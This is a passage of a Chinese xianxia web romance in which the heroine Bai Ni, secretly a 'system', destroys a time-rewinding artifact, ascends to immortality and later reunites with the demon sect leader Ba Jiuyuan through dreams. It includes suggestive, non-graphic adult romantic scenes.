…… 那日的修真大会后来发生了些什么,白霓是不大清楚了。 总之她一剑逼出了霸九渊天魔宗主的真身,连带着他的那把凶刀也凶相毕露后,圣剑也自主进入护主模式。 圣剑沉寂了足足一百五十年。 这是一个长到足以让所有人都以为它真的是一把不起眼的质朴古剑的时间。 于是当它在新任剑主的手中发出耀眼光辉,仙台上的所有人都不禁驻足瞩目。 而圣墟门主虽然老是老了,反应的确很快。 趁所有人被剑光震慑的间隙,立刻带了几名圣墟的长老压场,一句话没说,光凭那架势就把所有人给唬住,直接在众目睽睽下将她带回了圣墟。 于是便有了后来的那一段对话。 白望霄不能理解明明她已经得到自由,为什么还是甘愿前去万幽寒潭受罚。 但其实白霓有不得不这么做的理由。 那日那本《系统生成手册》的确在她手上化成了烟灰。 然而那所谓的奖励却是怎么都毁不掉。 【“回溯怀表”】 【描述:拨动表把即可倒回时间。你可以回到过去,改变任何你想要改变的过去。】 回到过去…… 无论是去弥补曾经的遗憾、过失,还是去见永远都不可能再见到的人,甚至是改变自己乃至于全部人的命运。 世间能有谁抵挡得了这样的诱惑呢? 白霓在得到它的瞬间,便知道这东西是断留不得的。 它从她手里来,便必须要毁在她手里。 为此,她甘愿留在万幽寒潭。 毕竟此地灵力充沛,极宜修炼。 若不是因为那寒气入体太多便成了毒,也断不会成为禁地,长年累月见不到半个人影。 是的。 这里本该是没有人的。 既听不见水声,更不可能会有虫鸣鸟语。 沉寂得恍如生人埋骨之地。 因此当耳畔冷不防响起的一声“白霓”,就像是在极冻之下产生的幻觉。 连同他之后说的话,全部都恍如梦中说梦、如堕云雾。 “我的奖励呢?” 水中心的白霓缓缓睁开双眼。 看着潭边不该出现在这里的身影,她淡笑一声后,垂眸回道: “不给你,不就是没有了?” …… 其实霸九渊没有出现在这里的理由。 若论复仇,他已是大仇得报。 若论让圣墟剑仙身败名裂,如今的她已经是声名狼藉。 何况他霸九渊身为一宗之主,事务繁多,即使真的察觉到了她白霓是系统,也没有多大必要不远万里来这圣墟见她这一面。 因此白霓自是很理所当然地问了出来:“……你来干什么?” 不等听到答复,又垂眸轻声道:“你不该来的。” 她一字一句说得是事实,分明没什么值得让人生气的地方,可偏偏霸九渊紧盯着她的双眼一瞬凶光毕露。 连说出来的话……都是那样咬牙切齿。 霸九渊:“我若是不来,你是不是永远不打算见我了?” 他这话问得实在蹊跷,任是白霓也不禁愣了一下才道: “当然。” “我们之间……有什么好见的呢?” 他肉眼可见地哽住了。 脸色憋得发红,换了口气张嘴便说:“怎么就没什么好见——” 结果话没有完全说完,已被径直打断。 白霓:“没有。” 大抵是她的那一声“没有”说得太过斩钉截铁,他直直愣在了原地。 便是迎着霸九渊怔怔的视线,白霓继续说了下去。 白霓:“不止是我们之间没什么好见的。” 白霓:“我本身也并不想见到你。” 白霓:“无论是风逸尘,抑或是霸九渊。” 他开始变得不知所措,好像连手脚都不知道该放在哪里好了。 白霓却依然没有停下来。 “你背叛了我。” 仅这一句,霸九渊瞬间脸色惨白。 他张嘴似乎想要说些什么,最终却欲言又止,但白霓不管他没说出口的话是什么,她的回应都只有一个。 白霓:“你不要说,我不想听。” 白霓:“不管你有什么苦衷、什么理由,从你嘴中说出来的任何一字我都不想听到。” 她背过身不再去看他发红双眼、急切神情。 声色冷漠疏离,拒人千里。 白霓:“你走吧。” 白霓:“我不想再见到你了。” 142 第142章 ◎正派之首爱上反派宿敌的第三十三天◎ 霸九渊执着、固执,但也不是不识趣之人。 白霓本以为话说到这个份上,他怎么也该死心,就此离去。 然而她转身之后,听到的却是他飞身过来下水的动静。 紧接着手臂一紧,当她微微侧头,在抬眸看到他的神色之前,耳畔已是先传来了一句: “……对不起。” 白霓不禁恍惚。 她与霸九渊相识多年,无论他是对她,还是别人,也的确是第一次从他口中听到这句话。 只可惜……如今的她实在不需要这一句对不起。 白霓:“别说了,我不想听。” 他如愿以偿,她也再无遗憾。 修真大会上一别便该是永别,实在没有再见的需要,也没有再牵扯上任何关系的必要。 于是白霓止住了抬眸看他的动作,别开视线,再开口依旧是一句:“你走吧。” “……” 抓在她胳膊上的手却是抓得更加紧了。 他锐利的目光好像能在她的侧脸留下烙印,偏偏他话中的每一个字眼都是哀恳。 霸九渊:“当初你说……只要我完成由圣墟发布的试炼任务,被所有人承认我是你白霓的亲传弟子便……” 白霓:“你没有真的杀死火尊北麟。” 霸九渊:“但我的确是得到了圣墟门主的认可!” 霸九渊:“所以奖励……可不可以兑现?” 白霓:“……” 听到他那低三下四的语气、姿态,完全没有一丁点用鼻子看人的天魔宗主的影子,白霓不由地轻声叹息。 片刻沉寂过后,她终于是抬起了头,去看他的眼睛。 白霓:“你想要什么?” 他的反应像是一下子重新活了过来,焕发出浓浓的生机,连眼睛里都有了光。 “我想要你跟我走。” “跟我回家吧,白霓。” 白霓定定地注视他。 因为她突然的松口,霸九渊显得很激动,可由于没有得到最终的首肯,于是又不得不把那兴奋强压下去。 此时面对她投去的视线,他像是一只……眼睛亮晶晶的在摇尾巴的狗。 “……” 白霓摸不透他的想法,也无意去摸透。 因为她的时间已经剩不下很多了,所以答应他……也不是不可以。 想到这里,白霓正准备出声,结果话尚未脱口,先是一口血吐了出来。 迎着霸九渊骇然的视线,白霓面无表情地擦掉了唇角的血,对他说了声: “知道了。” “我们走吧。” …… 因为她当着霸九渊面吐的那口血,在去天魔宗的一路上,他都跟见了鬼似的。 即使跟他说“没事,不至于会死”,白霓也依旧得到了无限的临终关怀。 以至于等到了天魔宗,见霸九渊这般对她,天魔宗的众人也跟见了鬼的一样,跟他走得近的几个下属直接开声: “老大,不是说你孤身一人潜入修真大会,带着真正的圣剑之主手撕圣墟剑仙?这怎么撕啊撕的……撕到你怀里去了?” 白霓、霸九渊:“……” 霸九渊:“撕你个头,给老子滚。” 当察觉到她看过去的视线,他又立马改口。 霸九渊:“……这种话以后不要说了。” 霸九渊:“在我对你的耐心耗尽之前,快消失吧。” 众人:“………………” 除了白霓,没有人见过如此好声好气又斯文的天魔宗主,因此路上遇见的每一个人皆是震惊到怀疑天魔宗主换了个人的表情。 白霓不在意,霸九渊更不在意,他把她安顿好之后很快失去了踪影。 直到看到他拿着号火令给她驱除体内寒毒,白霓才知道他又去了圣墟一趟。 霸九渊似乎有很多话想问她、想对她说。 白霓却是不闻也不问,安静地接过号火令后,由得他失魂落魄地走了。 其实要细论起来,连这样的日子也不会持续太久。 毕竟那万幽寒潭的潭水虽然灵力充沛,但也实在霸道。 她当初浸泡一日已是寒毒入体。 后来一连泡了十天半个月,就更是寒毒入骨、无药可医了。 霸九渊显然不清楚这一点,否则他便该知晓那号火令毫无用处,他再次目击她吐血时的表情,不该会这么震惊。 迎着他震惊神色,白霓依旧是淡定得不能更淡定。 那一句轻描淡写的“你来得真是不凑巧”,任是换了谁来听都要说声没心没肺。 也许就是因为她过于的不以为意,才会让霸九渊变得那么崩溃。 他的眼睛是红的,甚至被她逼得好像也想吐血了,也终于忍不住出声质问她: “……你到底为什么要这样?” “我知你那日在修真大会对我并未用上全力,虽是遭到圣剑反噬,但也不至于连圣墟那几个老古董也招架不过。” “为什么你非要跟那个万幽寒潭过不去?” “偏是要自找苦吃呢?!” 面对他的一腔怒火,白霓默了默后反问他: “这跟你有什么关系吗?” 他顿时哽住。 如果不是因为霸九渊眼睛里有泪光泫然,目光实在是愤怒到……似乎可以说是凄惨。 白霓不会再出声解释道: “因为这世间有一件只有我能做的,而且不得不做的事。” 然而当听到这样的话…… 霸九渊看起来似乎更加崩溃了。 143 第143章 ◎正派之首爱上反派宿敌的第三十四天◎ 如果置身处地,让白霓代入霸九渊的身份角色,当接二连三听到类似“我不想再见到你了”“这跟你有什么关系吗?”这样的话…… 她会立刻将他打包踢出天魔宗,然后拍拍手,转身一走了之。 毕竟霸九渊就是这种吃不得一点亏、说一不二的爽快性格。 可也不知道为什么,偏偏到了她这里,他的容忍度忽然变得无限宽,宽到好像能容忍一切。 是。 继震惊、愤怒、崩溃之后,霸九渊再一次留了下来。 他非但是没有走开,还更凑近了过来。 一声不吭地坐在了她的身后,双手手掌贴住了她的背,默默运气为她驱除体内寒气。 当他的灵力游走于她的四经八脉,白霓的身子一下清爽暖和了不少。 然而渐渐……他的姿势变得不怎么对劲了。 本来井水不犯河水的间距突然消失了,不知从何时起,他的额头抵在了她的肩膀,连双臂……也从后面圈住了她的腰身。 霸九渊:“白霓,我……” 白霓:“别说,我不想听。” 霸九渊:“……” 哪怕心里其实还很想说,但因为她的那句话,他顿时不敢再说了。 白霓禁止他开口,他另一边却是越抱越紧,好像她是什么马上会消失不见的人一样,他将她锁在怀里的姿势似要把她嵌入他怀里。 浑身如同被装进火炉的感觉是很好,但是…… 白霓:“你不冷吗?” 霸九渊:“你不冷就好。” 他咬*紧牙关说话的样子实在像是在强忍寒颤,白霓听后默了默,不禁叫了他一声: “霸九渊。” “怎么了?” 他说话时呼出的气拂在了她的脖子上带起了丝丝的痒,白霓往侧避了避,结果他更是追着贴了上来。 白霓:“你对我……是哪里有什么误解吗?” 她的问题该说问得很突兀,主题是什么都不清不楚。 然而他的每一个回答……全部都答在了点子上。 霸九渊:“没有误解,你已经充分向我展示了你白霓是一个什么样的人。” 霸九渊:“你对这世间任何人的生死、发生的一切,全部都不在意而且无所谓。” 霸九渊:“你做的所有事情全部是出于责任。如果不是因为只有你能做,你肯定不会那么做的。” “……” 他说得过于流畅了。 仿佛在说已经反刍了一万遍的话,如果不是真的完全理解了,他不会能够那么流利顺畅。 于是轮到白霓无话好说。 偏偏她的沉默落在他的眼中变成了某种许可,倘若说白霓在提问前,他只是双臂圈住了她的腰,那么现在,他却是连双腿都用上,划出边界,仿佛要将一个他留不下的人,永远困于他的一亩三分地中。 当察觉到她的拒绝,他低声哀求。 霸九渊:“……就再一会。” 霸九渊:“拜托了,再一会就好。” 当无数个一会变成了一夜,白霓觉得不能再这样下去了。 于是次日,迎着霸九渊因为没有被推开所以忍不住期待的目光,她泼下去了第一桶冷水。 白霓:“你知道当年我为什么会答应圣墟门主……成为圣墟剑仙吗?” 他好像预感到了什么,不禁别开目光,不想和她对视。 霸九渊不想听,她还是要说。 白霓:“因为他苦苦哀求我的样子看上去真的很可怜。” 他的脸色果然一瞬煞白。 咬牙抿唇的样子似在隐忍,可最终,他仍旧没有挥袖离去,而是把脸转了回来,重新望了过来。 那真的是……无比可怜的表情。 霸九渊:“既然你能可怜他……那请你也可怜我吧。” 白霓只好第二次给他当头一棒。 白霓:“我有一个好消息和一个坏消息,你想听哪一个?” “……” “先听……坏消息吧。” 白霓:“寒毒已入我心脉。” 白霓:“我的时日无多了。” …… 其实不管霸九渊是先选坏消息还是好消息,他都会同样得到她注定离开的答案。 唯独白霓没有料到那当头一棒的冲击对他来说那么大,他竟是连好消息都不听完,直接扭头就走。 待到数日后他重新出现在她眼前,除了一身的伤,带来的还有火属性的高阶药材。 霸九渊:“既然号火令对你无用,那这溶火地心莲总该能延长你十年寿元!” 他的信心百倍气势汹汹没有持续太久。 当她始终沉默以对,那所有的正能量全部化作难以压抑的伤悲,成倍地席卷而来。 “你给我点时间,再等等我……” “我总能找到能彻底根除你寒毒的办法。” “所以算我拜托你了白霓,你就……再给我一点时间吧。” 垂眸看着仿佛在以祈祷的姿势跪坐在她跟前的霸九渊,和本不该是现阶段的他有能力得到的溶火地心莲,叹息不由地到了嘴边。 白霓:“为什么非要这么执着呢?” 白霓:“如果我说我不怪你的背叛,你能够放手吗?” 他没有出声。 可他望向她的每一个眼神,不经意表露出来的每一个动作都在对她说…… 他不能。 白霓:“可是你一定要放手。” 白霓:“霸九渊,无论你带回来什么药材什么法宝,我都不会用的。” 于是不止是那双眼睛,他的脸上也开始流露出绝望。 连白霓也不禁别开视线,才能把接下来的话继续说完。 “虽说时日无多,但我不会死。” “我固然因万幽寒潭染上了寒毒,修为却也因此冲到了临界点。” “再加上如今已是功德圆满……” “择日,我便可飞升了。” 这便是那日没来得及告诉他的好消息。 尽管说是功德圆满……也不完全对,毕竟距离修成正果,她仍差一线。 可那最后一线便是毁掉“回溯怀表”,而这必须得她越过人界的束缚,飞升到天界方可做到。 因此就结果而言,都是大差不差了。 也是幸好没有解释那么多。 否则那压在霸九渊心上的大石头不能完全放下,他的那口气也不会能松懈得那么彻底。 他完全放松了下来,甚至劫后余生般地情不自禁笑了起来。 但也不是过了太久,当另一种“此别再无重逢日”的失落感涌上心头,他笑不出来了。 霸九渊:“你最迟……多久要走?” 白霓:“七日后。” 他愣了愣。 默了默。 最后应了声好。 144 第144章 ◎正派之首爱上反派宿敌的最后一天◎ 最后的七日是前所未有的安然宁静。 没有昔日宿敌一见面便不死不休的刀剑相向、短兵相接。 更没有得知大限临头后,忘掉一切的疯狂。 安静、平和。 仿佛第八日会到、第九日会来,一辈子会永远如这七日般一直过下去。 从霸九渊的身上,从他的反应和表情,白霓依稀觉得他们之间好像还有很长很长的时间。 但那……自然是不可能的。 明日卯时一到,待到日头升起,寒毒遭盛阳压制,白霓便会去向人与仙之间的桎梏发起冲击,以换取渡劫飞升。 今夜已是最后一晚。 霸九渊却什么都不说。 他缄口不言的样子似想如前六日一样,与她相拥而眠,直至天明。 然而比起真的不再执着于那些所有她不准他说、没能说出口的话,霸九渊给人的感觉更像是…… “如果话全部说完了” “我们便没有再见面的理由了” 可他们本来就没有再见的理由。 于是白霓主动开口提起了。 “你之前不是有话要对我说吗?” “现在说吧。” 霸九渊似是没有想到她会突然提起,呼吸不由地滞了一下,而沉默过后,他最终的决定仍是: “还是……不要说了。” 白霓本也不想多言。 只是当听到他语气中的纠结挣扎,才轻轻推开他的胸膛,淡声提醒了两句: “这是最后的机会了。” “以后不管你再对我说什么,我都不会能听得到了。” 霸九渊的脸庞一下子僵住了。 应该是脸部的肌肉过于僵硬了,他说出来的话才会那般磕巴语塞。 霸九渊:“听说天界……不是有水镜这样能与人界沟通的仙器吗?” 白霓自然知道,但是:“我不会用的。” “哈哈……是吗……” 霸九渊没有问什么。 因为答案他心知肚明,实在是没有什么好问的。 倘若白霓对人界有哪怕一丁点的牵挂羁绊,她都不会成仙、也成不了仙。 可笑他刚刚还在担心自己如果把话说出口会成为她的阻碍……现在看到那双永远清冷淡薄、对什么都不甚在意的眼睛,也确实该承认: 是他不自量力了。 于是霸九渊终于握住了那只他一直不敢看、也不敢碰,被圣剑反噬得体无完肤的手。 “……对不起。” 他想说的其实不止是一句。 他想解释这不是他的本意、他完全没有想到事情会发展成这种地步、他并不想让她受伤,可无论哪一句任他自己听来,都像是在脱罪。 因此霸九渊最后脱口而出的,依然是一句: “白霓,真的……对不起。” 而她的回答也仍旧是那一句: “没关系,这不怪你,是我自己选择要这么做的,你不必在意。” “……” 白霓她真的永远都是这个样子。 她说不在意就是真的不在意,说没关系便是真的没关系。 因此无论是这世间任何人的活着还是死去,还是她自己受伤、遭受侮辱,她也是真的全部都无所谓。 当初次意识到这个事实时,霸九渊多少是觉得有些恼火的。 后来他渐渐释然了。 因为白霓她和他们所有人的的视角是不同的。 她看得太宽广辽阔,人的病痛、乃至于生死离别,对她来说本就如花开花落,是自然规律。 她像是神。 因为人向神祈祷了,她才选择了入世,去干涉这世间的因果。 霸九渊最初并不能理解到这一点,所以才会对她漠视人命感到愤怒。 可那怒火烧得有多旺盛,他对她就有多心痛。 一切都不是她主动想要得到的,她却永远被世人用“圣墟剑仙”的名字所束缚,被“慈心剑尊”的头衔所绑架。 因为世人的心愿,所以无数次沉默地以身试险、出生入死。 所以当初霸九渊说想要圣墟剑仙身败名裂…… 他只是想毁掉拘囿她的一切。 让她得到自由。 而她最终也确实自由了。 于是现在……便要离开这个不属于她的地方了。 霸九渊最后还是一个字都没说。 白霓却是一字不落地全都懂了。 她不禁笑笑,主动打破了他的沉默。 白霓:“你什么时候察觉到我是系统?” “……在一切结束之后。” 白霓:“傻子。” 她不加掩饰的直白嘲笑直接让霸九渊从头窘迫到脚,慌不择途下,他急忙转移了话题。 霸九渊:“当初……你为什么会开始那个荒谬的攻略?” 白霓:“因为你想。” 霸九渊:“全都是出于……因为我想吗?” 白霓不禁顺着他的话从头回忆了一遍攻略的细节。 当目光不经意滑过霸九渊的胸口,嘴边的笑在不知不觉中加深了。 “中间有一部分不是。” “那一部分是因为我想。” 霸九渊:“……” 有什么决心在沉默之中变得坚定了。 也许是为了再见到某个人,为了能继续没有说完的话,这一刻,比起去深究当下,从霸九渊口中问出来的,是一个能让他们之间的故事继续进行下去的可能性: “白霓,我要怎么做才能成仙?” 白霓抬眸望向那张严肃认真的脸庞。 其实照她来看……他是成不了仙的。 霸九渊对一切都看得太重了,那形如无数根锁链,牢牢地将他禁锢在了这个地方。 但或许她也说不准。 正因为霸九渊是如此的执着、努力,他才拥有把一切不可能变为可能的能力。 所以试试倒也无妨。 白霓:“我不是都教给你了吗?” 白霓:“那本天级功法本来就是我为了你写的,把它参悟得差不多了,兴许也就可以了。” 虽说道阻且长,但在霸九渊身上…… 她看到了那种可能性。 是啊。 毕竟这个人……有时候,也的确会像是太阳一样闪闪发光。 便是看着从东方照射下来的第一缕光照,白霓听到了霸九渊在人间对她说的最后一句话: “我们会再见的。” …… 修士一旦成仙,自此与天地同寿,与日月同辉。 因此渡劫飞升……从来不是易事。 否则也不会这千年间虽有出过好几圣境的修士,却再无一人能够登上天界,连雷劫是如何惊心动魄的场面,也未曾再有世人记得。 因此为了亲眼见证那一幕的降临,近日来所有的修士几乎都在往天魔宗的方向赶赴。 九日前,有消息传出天魔宗侠荫山忽而阴云密布,惊雷闪电不绝于耳。 起初无人在意,可当那雷打了足足三日,所有人都意识到了: “正有修士在渡雷劫” 那黑云在侠荫山的山头盘踞了九日,惊雷便闪了九日。 没见过大阵仗的修士直接被那仿佛要毁天灭地的阵仗吓住,连连摆手:“这雷劫我还是不渡了。” 此番言论自然遭到周边人的耻笑:“哪怕你愿意渡,这雷恐怕也不会来找你。” 最先开口的修士顿时老脸一红,赶紧转移话题: “这隔了太远实在看不清,也不知是究竟哪位隐世大拿在飞升。” 却不料此言一出,四下具是陷入了沉默。 毕竟…… 还能有谁呢? 当雷声消止,黑云散去,飞升时的光登时照亮了整个修真界。 千百年间,世人只在那一人身上看见过此般的光芒万丈。 这一刻,那个人究竟是不是圣剑之主、有关她的所有争议,具消隐了。 是非自有公论,公道自在人心。 而留在世人心中的,只有她千百万次在最前方冲锋陷阵的背影,无数次的奋不顾身、凭一己之力照亮整个修真界的无畏。 这一刻,当她的光芒再次普照大地—— 往日所有曾受她恩泽之人,无不鞠躬跪地,恭送如仪。 但愿那不尽的祝愿与谢忱能化作她登天的路,永世与她同在: “愿神尊此去一路坦途,鹏程万里。” “与日月同辉,供万古共仰。” “纵寰宇生灭——” “亦大道永存。” …… 【道具“回溯怀表”确认遭到毁坏。】 【男主系统部门损毁程度确认已达100%。】 【系统自救机制因受外力作用,已被强制停止。】 【系统已遭到完全损毁。】 【感谢您对本系统的使用,再见。】 “啪嗞” 番外 145 第145章 ◎世界四番外◎ 白霓投落在人间的最后一眼,看到的是万民争先赶赴天魔宗朝圣的画面。 世人跪拜叩首,恳请她再多留一会,将圣光与庇护赐予他们每一个人。 白霓看见了,却仍是头也不回地走了。 见此一幕,那从天界前来接引的仙人还出声提醒她: “不赶时间的,若是仙尊有意,可多留一阵。” 许是她突然的驻足让世人浮现出了希望,一时之间呼叫“圣墟剑仙”的喊声不绝于耳。 然而白霓却连视线都没有再望下去一次。 只留下轻描淡写的一句“不必再这种地方浪费时间”,便头也不回地踏上了登天路。 等到了天界,那接引仙人仍在回味方才: “我做接引人多年,也是第一次见到这番修士飞升万人相送的光景。” 见她没什么反应,忍不住继续说道: “你是没有看见他们脸上的神情是多么悔恨。个个自责忏悔是他们做得太差,才让你感到了心寒,这才彻底放弃了人间,选择了飞升成仙。” 直到这时,白霓那清冷淡薄的脸上才终于扬起了一抹轻笑。 “若真是如此……那他们多少有些太高看自己了。” 话间,一把灰烬从她指缝间流泻出来,随风散去。 指引仙人虽是跟上了白霓前行的步伐,却也不禁好奇回眸,多问了一句: “你毁掉了什么?” 只听她的声线一如既往缥缈似烟尘云雾。 “不过是不值一提的东西。” “不必在意。” …… 直到飞升成仙,来到天界,白霓才终于过上了几天清闲日子。 当别的神仙在卷仙位、卷地盘,拉帮结派,打打杀杀,好不热闹。 白霓只是寻了个清净的地方,建了仙府,好生休养生息。 她的日子过得这般空闲清幽,却也不改当初对霸九渊所说,既不曾再去看过他一眼,也没有再关注人界一分一毫。 若说好奇他的境况、担心他没法飞升,那自然是都没有的。 毕竟那句“我们会再见的”是从他霸九渊口中说出来的话。 真要去兑现,那人也不该是她。 更何况人的一生总是会遇到太多的人,遭遇太多的变数。 她是其中一个,却未必是唯一一个。 她走之后,他若是有什么更想做的事、更想见的人,也没什么好奇怪的。 因此白霓是真的以为,她与霸九渊之间,倘若不是永远不见,那便是很久之后在云端相见。 着实没有料到…… 她不过是打了个盹,便被他从天上拽到了地下。 …… 白霓入梦了。 而且似乎还是春梦。 她的神魂刚附入梦中,尚未看清周遭是如何光景,一双手已先是被人反剪在身后,胸膛被迫挺起,上半身却又遭到对方的蛮力给压弯了下去。 刚动一下,他便抵了上来。 于是本来已经到了嘴边的话霎时间卡在了喉咙。 白霓陷入了沉默。 而她的沉默助长了对方的气焰。 也不知道到底是梦过多少回了,他伸手去解她衣带的动作实在是熟能生巧得让人心慌意乱。 白霓只好顶着这个不太舒服的姿势,努力转过头去看他。 “霸九渊。” “你好好看看……我是谁。” 他的动作终于停了下来。 因姿势所限,白霓看不清楚他的脸,只余光依稀识别出他似乎正在努力辨认她的身份。 他总算是看出来了。 霸九渊:“你是……白霓。” 白霓稍微了一口气。 虽然他似乎没有意识到是她本人,但毕竟叫得出来她的名字,多少也该是有几分清醒…… 霸九渊:“今天你想怎么做?” 白霓:“……” 他不清醒。 霸九渊:“你不喜欢这样?那我们今天从前面开始?” 他是真的……不太清醒。 话说到中途,那只擒住她一双手腕的手已先是往后猛地一拉。 待到那个“开始”说完,她人非但撞进了他的怀里,他的唇更是直接吻上了她的下巴。 之后一路向下,以至于衣带未解,衣襟先是变得松松垮垮,被他指腹扒住衣边用力一拽,更是直接失去了遮蔽的效用。 白霓咬牙抬手挡住了他张口想要含下来的动作。 可霸九渊的反应也不慢。 他立刻捉住了她的手腕,阻止她将自己的脸继续推开,于是当他抬眸望向白霓的时候,那张脸几乎是贴在她的胸口上抬起。 霸九渊:“怎么了?” 白霓:“你……稍微冷静点。” 然而这句话好像触到了什么雷点。 他的脸色顿时差到了极点。 神情发狠,话音也透出股咬牙切齿的恨意: “我不是你,没办法永远那么清冷平静。” “三十年间音讯全无……现实里你已经推开我了,难道现在连在梦里你也要拒绝我吗?” “白霓,我不允许。” 霸九渊的动作本就不温柔。 到了现在更是因为崩溃、绝望而变得粗鲁、凶猛。 那只空出来的手先是在髀臋狠狠掐了下,直到看到她眉头轻蹙似才畅快几分,之后大掌更是从腰身一直往上推去,直到推到极限才终于停了下来。 霸九渊:“你不是说你最喜欢像我这样的大鱼大肉吗?” 霸九渊:“既然喜欢……又为什么不要?” 他抓着她的手放了上去。 霸九渊:“你真的不要?” “……” 其实说真的。 白霓本来是打算拒绝的。 可是他给的东西真的实在是太大了。 最后也就拒绝不了了。 然而便是这么一次的没有拒绝。 往后夜夜入梦魂劳。 梦里梦外皆是天上人间。 146 第146章 ◎世界四番外◎ 无论是做梦,还是入梦…… 那当然不可能只有一次的。 可天上一日,地上一年。 因此若细数起来,白霓不过一年只见他一次两次。 这时隔虽然对霸九渊来说是稍长了些,但她也的确没有料到,这人…… 竟是一丝长进都没有。 在长达十余将近二十次的入梦之中,他居然没有一次发现是她本人的神魂亲临。 因为如果霸九渊知道真的是她,便也不会每次一上来就抓着她做天做地。 怎么也开口该问问她,自己大限将近,可距离成仙依然遥不可及,该如何是好。 其实霸九渊的寿元本不该如此之少。 若要归咎…… 兴许也与她有关。 白霓的确低估了自己的影响力。 尽管在她飞升以后,圣墟仍在,甚至还觉醒了新的圣剑之主,然而便是在她渡过天雷飞升当日,修真界便起祸乱。 魔修反扑得太快太急,出乎了所有人的意料,以至于当日大受打击。 这些年……确实该说是多亏霸九渊忙里忙外累死累活,才勉强控制住了局面。 但这么一来的后果…… 便是他旧伤未好便添新伤,劳神焦思,积劳成疾。 而他明明都已经那么累了,做个梦也不好生安歇。 一上来便双手抓住她的腿,分开后挂在腰上,直接亲了起来。 白霓被他亲得东倒西歪,一时之间也不知道该说他好还是不好,但到底在被更进一步之前,伸手推开了他的脸。 白霓:“今日不做了。” 他果然反应不过来,直接愣在了原地。 迎着霸九渊一副见了鬼、“我为什么会被自己的梦拒绝”的怀疑表情,白霓把他推得更远了一点,盯着他的双眼一字一句地告诉他—— 白霓:“我说今天我们不做了。” 他好像终于有些懂了。 霸九渊:“你是……白霓?” 白霓闻言只是垂眸叹息,也不在看他,更像是没眼看他。 “这么多年过去居然还只是领悟到第四层……” “给我滚回去修炼。” 霸九渊顿时梦醒了。 白霓从水镜中看到他怔愣了很长时间。 等终于反应过来,好像意识到了什么,便成了又哭又笑。 但到底是快意居多的。 因为那“哈哈哈哈哈”的狂笑声,整个天魔宗几乎无人不闻。 “宗主??你没事吧???” 霸九渊:“修炼!哈哈哈哈哈哈我要去修炼!她在等我哈哈哈哈哈哈哈!” “……?” 霸九渊到底没有辜负她的期望。 那日白霓一巴掌把霸九渊送回了现实的同时,提点也一道留在了他的意识之中。 半年后再相见,那本天级功法他已经领悟到了第六层。 其实也明明还不到放松的时刻,然而当两人在梦中相见、当他认出是她来了,开口第一句便是: “白霓,我想做。” 白霓:“……” 他精虫上脑、无药可救,白霓却不想跟着他发疯,于是只冷冷甩了两句话过去: “等你醒了之后随便你去找谁做。” “在我这里,你就只能修炼。” 霸九渊应该是听到了,却是没有回话。 当白霓抬眸望过去的时候,只见他满脸怒火,虽说是强压了下去,可话音里依然难掩气愤: “你要是不想做可以直接拒绝我。” “你明明知道我对你是什么感情,怎么还可以说出这种伤人的话?” 白霓意识到确实是她失言了。 但其实坦白说,尽管她知道霸九渊对她抱有什么样的感情,然而实际上她并不能完全理解,因为在她看来…… 他没有爱她的理由。 连相爱的契机也无迹可寻。 白霓沉默的时间到底有些久了。 久到本来一腔怒火的霸九渊都泄了气,不禁瞪大双眼,脸上是难以置信到有点恐惧惊悚的神情。 霸九渊:“难道……你真的不知道……我对你是什么感情?” 白霓摇了摇头。 “不是。” “我只是想不出来能有哪一个瞬间……能让你爱上我。” 霸九渊的那声“有”答得太斩钉截铁了。 因此白霓只是不由自主地觉得,他想到的那些瞬间,全部都是圣墟剑仙的过往,而与她白霓没有一点关系。 然而…… 霸九渊:“你记不记得你把我收为弟子的第一个晚上,你从万幽寒潭回来后对我说的话?” 白霓顺着他的话音陷入了回忆,却愈发迷茫。 “那不过都是再寻常不过的关心……” 霸九渊:“可就是你当时说的每一句话,你的那一个眼神,我全部都记到了现在。” 那日距离至今也有几十年了。 可谈及那日,从霸九渊的表情……那仿佛只是昨日。 “因为太温柔了。” “在你回眸看过来的那一个瞬间,就彻底沦陷了。” 白霓:“……” 她默了默,最后抬眸问他—— 白霓:“要做吗?” 霸九渊没有说话。 可仿佛是为了报复她的失言,后来一直粗暴到了直到他们分别。 他是第一次那么的凶狠用力以及要命,撞得白霓觉得自己人都快散架了。 然而那是第一次,却不是最后一次。 自从那回开了不好的先例,往后每次在梦中相见,便皆是修炼伴随着鱼水之欢。 就像是为了帮助她确认他对她的感情,霸九渊的话也更多了。 当他在后面抓着她的手横冲直撞的时候—— “不是她,在觉醒《不灭九式》一章的那一刻,我想的人是你。” “是在想到你的那一个瞬间,我才意识到自己可以变得坚不可摧。” 压在她的背上,也要对她低语: “你别再生我的气了。” “以前真的不是有意要对你发火的,那时候太年轻了,想关心你又想到你是敌人,觉得不好意思又不知道该怎么表达。” “今天我会更卖力的,所以就消消气吧?” 连躺在她身下的时候,也要笑得意气风发气满志骄: “跟我做了就不要跟别人做了。” “吃了我这种大鱼大肉,别人哪里还能满足得了你?” 可他也有脆弱的时候。 抱着她什么都不做,只是把脸埋在她的肩窝,对她低声细语: “白霓,我真的好想见你。” “……” 对她来说,每一次的相逢见面不过是一天打一两个盹,相隔不过几个时辰。 但对霸九渊而言,却是一个又一个的一年半载。 每夜抱着期望入梦。 她却不一定会来。 “……” 既然如今身为月华剑主的江雪儿已经能挑大梁,天魔宗也是后继有人,他霸九渊也已站在了圣境的巅峰。 他们……为什么不能相见呢? 白霓:“来见我吧。” 他愣了下,之后怔怔抬眼望来。 便是迎着他反应不过的呆滞目光,白霓第一次对他主动开口了: “我也想见你。” “霸九渊。” “明天你就来见我吧。” “……” 那天在梦境的最后。 他应了声好。 …… 便是因为白霓的那一番话。 因为那一声好。 霸九渊成为了有史以来最快渡完雷劫的人。 ……准确来说,并不是他渡雷劫,而是他用凶刀把天雷劈了。 “来啊天雷!过来与我决一死战!你还有些什么本事好赶紧亮出来了!” “哈哈哈哈哈!我霸九渊要见的人,任是你天雷也休想拦住我!!!” “今天这个天界,我是非上不可了!” …… …… “白霓。” “我如约来见你了。” …… …… “我有没有告诉过你,我对你是一见钟情?” “你不用说我也知道。” “怎么知道的?” “虽然那天你一脸云淡风轻,但你趴在我背上的时候,我听到你心脏跳得很快,而且……” “而且?” “你偷偷摸了我胸口的肌肉,还是两次。” “噗……” “是啊,趁能笑的时候赶紧多笑一笑,省得等会累得笑不出来了。” “那总归是你,不该是我。” 可白霓不该刺激他的。 因为她确实忘了。 饿了百年,夜夜春梦却没吃过肉的男人一旦开荤…… 那确实是连神仙,也扛不住的。 147 第147章 ◎世界四au线◎ 身为天魔宗主,白霓有一个一生之敌。 他叫风逸尘。 世人称他为圣墟剑仙、圣剑之主、正派之首。 歌颂他是普照众生的当世霞光。 呵,霞光? 